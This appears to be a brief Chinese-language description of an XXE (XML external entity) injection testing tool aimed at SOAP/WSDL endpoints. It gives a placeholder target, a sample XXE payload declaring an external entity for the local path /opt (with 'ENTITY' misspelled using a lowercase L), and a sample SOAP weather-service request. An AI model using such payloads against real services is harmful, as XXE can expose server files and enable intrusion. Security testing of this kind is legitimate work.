XXE实体注入测试工具
XXE实体注入
如SOAP的wsdl接口，就是使用的XML，我们可以自定义参数以及网站地址
用法：www.xxx.com
XXE漏洞实体注入参数：<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTlTY % remote SYSTEM "/opt">%remote;]>
WSDL参数：
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <getWeatherbyCityNamePro xmlns="http://WebXml.com.cn/"> <theCityName>string</theCityName> <theUserID>string</theUserID> </getWeatherbyCityNamePro> </soap:Body> </soap:Envelope>
